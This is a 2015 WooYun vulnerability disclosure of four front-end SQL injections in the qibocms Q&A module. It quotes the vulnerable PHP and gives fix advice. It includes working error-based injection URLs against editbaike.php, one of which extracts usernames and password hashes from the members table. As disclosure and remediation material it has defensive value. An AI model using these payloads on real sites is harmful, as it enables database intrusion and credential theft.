当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122606

漏洞标题:qibocms 知道系统 前台4处注入.

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2015-06-26 10:16

修复时间:2015-09-27 16:24

公开时间:2015-09-27 16:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-26: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经确认,细节仅向厂商公开
2015-07-02: 细节向第三方安全合作伙伴开放
2015-08-23: 细节向核心白帽子及相关领域专家公开
2015-09-02: 细节向普通白帽子公开
2015-09-12: 细节向实习白帽子公开
2015-09-27: 细节向公众公开

简要描述:

还是之前存的。
部分不需要登录会员。
233 本来之前存了6处, 看到被人发了两处 擦擦。

详细说明:

首先在inc/common.inc.php中

isset($page) && $page = intval($page);
isset($id) && $id = intval($id);
isset($aid) && $aid = intval($aid);
isset($rid) && $rid = intval($rid);
isset($fid) && $fid = intval($fid);


对fid intval。
0x01 zhidao/ask.php中

elseif($step==4){

if(is_array($fiddb)){
foreach($fiddb as $f) $fid=$f;//重新定义 导致没有intval
}

if(!$fid) showerr("请选择一个问题分类");
if($Fid_db[$fid]){
showerr("选择的分类必须是终级栏目,而不能是父分类");
}
$webdb[title_max_length]=$webdb[title_max_length]?$webdb[title_max_length]:80;
if(!$title) showerr("题目不能为空");
if(strlen($title)<6) showerr("题目不能少于6个字符");
if(strlen($title)>$webdb[title_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符");
if($money && !is_numeric($money)) showerr("悬赏的分数必须是半角的数字");

$webdb[content_max_length]=$webdb[content_max_length]?$webdb[content_max_length]:20000;
if(strlen($content)>$webdb[content_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[content_max_length]字符");

if(!$lfjid && !$guest) $guest="游客".rand(0,9).rand(0,9).rand(0,9).rand(0,9);
//积分检验
if($lfjuid) $lfjdb[money] = get_money($lfjuid);

if($money>0){
if(!$lfjuid) showerr("游客不能添加悬赏");
if( $lfjdb[money]<intval($money) )
{
showerr("你设置的悬赏积分不能大于你自身的积分:$lfjdb[money]");
}
}


$fids=get_sonsfids($fid,true);
$fids_str=$fid.str_replace(",,",",",$fids);//这里把重新定义的fid拼接进来
$thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content WHERE sortid in ($fids_str)");//带入查询。
if($thissort[num]>0)$db->query("UPDATE {$_pre}sort SET `qa_quantity`={$thissort[num]} WHERE fid=$fid");


3.jpg


0x02 zhidao/editbaike.php中

if(!$fid || $Fidbaike_db[$fid]) $fid=$fidold;//如果没定义fid 直接给了fidold 而在全局文件中 $fidold 是没有被intval的

if(!$fid) showerr("问题分类必须选择");

$webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80;
if(!$title) showerr("题目不能为空");
if(strlen($title)>$webdb[baiketitle_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符");
$webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000;
if(strlen($content)>$webdb[baikecontent_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[baikecontent_max_length]字符");

$title=replace_bad_word(htmlspecialchars($title));
if(!$webdb[inputcontentype])$content=htmlspecialchars($content);



$ifcheck=0;
$SQL="UPDATE {$_pre}content_baike SET title='$title',sortid='$fid',content='$content' WHERE aid='$aid'";
if($db->query($SQL)){
$this_id=$aid;
/*粗略计算类目的问题数量*/
$fids=get_baikesonsfids($fid,true);
$fids_str=$fid.str_replace(",,",",",$fids);//再次拼接
$thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content_baike WHERE sortid in ($fids_str)");//带入查询
if($thissort[num]>0)$db->query("UPDATE {$_pre}sort_baike SET `qa_quantity`={$thissort[num]} WHERE fid='$fid'");


http://web/new/zhidao/zhidao/editbaike.php?step=2&aid=1&fidold=1) and updatexml(1,concat(0x5e24,(select concat(username,password) from qb_members limit 1),0x5e24),1)%23&title=aaaaaaa

4.jpg


0x03 在inc/common.inc.php中
unset($label_hf,$label,$webdb,$Html_Type,$erp,$ltitle,$memberlevel,$showHtml_Type,$chdb,$fidDB,$rsdb,$ModuleDB,$city_DB,$Mdomain,$Murl,$choose_class,$foot_tpl,$head_tpl);
并没有对Limitword unset 而在其他系统中一些都unset了。
导致了以前的一个老洞, 还有几个系统都没Unset 把剩下没unset的系统都unset了算了把。
zhidao/editbaike.php中

if($step){

if(is_array($fiddb)){
foreach($fiddb as $f) $fid=$f;
}

if(!$fid || $Fidbaike_db[$fid]) $fid=$fidold;

if(!$fid) showerr("问题分类必须选择");

$webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80;
if(!$title) showerr("题目不能为空");
if(strlen($title)>$webdb[baiketitle_max_length])showerr("题目长度超出范围,并且不能大于$webdb[title_max_length]字符");
$webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000;
if(strlen($content)>$webdb[baikecontent_max_length])showerr("问题内容长度超出范围,并且不能大于$webdb[baikecontent_max_length]字符");

$title=replace_bad_word(htmlspecialchars($title));//这里并没有filerate
if(!$webdb[inputcontentype])$content=htmlspecialchars($content);



$ifcheck=0;
$SQL="UPDATE {$_pre}content_baike SET title='$title',sortid='$fid',content='$content' WHERE aid='$aid'";



function replace_bad_word($str){
global $Limitword;
@include_once(ROOT_PATH."data/limitword.php");
foreach( $Limitword AS $old=>$new){
strlen($old)>2 && $str=str_replace($old,trim($new),$str);
}
return $str;
}


global $Limitword 了 且全局中没有unset 可以导致替换任意为空。
http://web/new/zhidao/zhidao/editbaike.php?step=1&aid=1&fidold=1&title=%0000'|updatexml(1,concat(0x5e24,(select user()),0x5e24),1)%23&Limitword[000]=

2.jpg


0x04 zhidao/postbaike.php中

elseif($step==4){

if(is_array($fiddb)){
foreach($fiddb as $f) $fid=$f;
}
if(!$fid) showerr("分类必须选择");
if($Fidbaike_db[$fid]){
showerr("选择的分类必须是终级栏目,而不能是父分类");
}
$webdb[baiketitle_max_length]=$webdb[baiketitle_max_length]?$webdb[baiketitle_max_length]:80;
!$title && showerr("名称不能为空");
strlen($title)<6 && showerr("名称不能不能少于6个字符");
if(strlen($title)>$webdb[baiketitle_max_length])showerr("名称长度超出范围,且不能大于{$webdb[title_max_length]}字符");


$webdb[baikecontent_max_length]=$webdb[baikecontent_max_length]?$webdb[baikecontent_max_length]:20000;
if(strlen($content)>$webdb[baikecontent_max_length])showerr("内容长度超出范围,且不能大于{$webdb[baikecontent_max_length]}字符");




$title=replace_bad_word(filtrate($title));
if(!$webdb[inputcontentype])$content=filtrate($content);

$ifcheck=intval($webdb[baikeautocheck]);

//插入
$db->query("INSERT INTO `{$_pre}content_baike` (`type`, `sortid` ,`faid`, `uid` , `username` , `title` , `title_strong` , `title_color` , `content` , `imgs` , `addtime` , `hits` , `ifcheck` ) VALUES ('default', '$fid','', '$lfjuid', '$lfjid', '$title', '', '', '$content', '$imgs', '$timestamp', '0', '$ifcheck')");
$this_id = $db->insert_id();
//粗略计算类目的问题数量
$fids = get_baikesonsfids($fid,true);
$fids_str=$fid.str_replace(",,",",",$fids);
$thissort=$db->get_one("SELECT COUNT(*) as num FROM {$_pre}content_baike WHERE sortid in ($fids_str)");
if($thissort[num]>0)$db->query("UPDATE {$_pre}sort_baike SET `qa_quantity`={$thissort[num]} WHERE fid=$fid");
refreshto("baikeview.php?aid=$this_id","发布成功");


这个跟第一个差不多 就不多说了。

漏洞证明:

如上。

修复方案:

1 3 4 都intval了把。
2 unset

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-06-29 16:22

厂商回复:

感谢提出来

最新状态:

暂无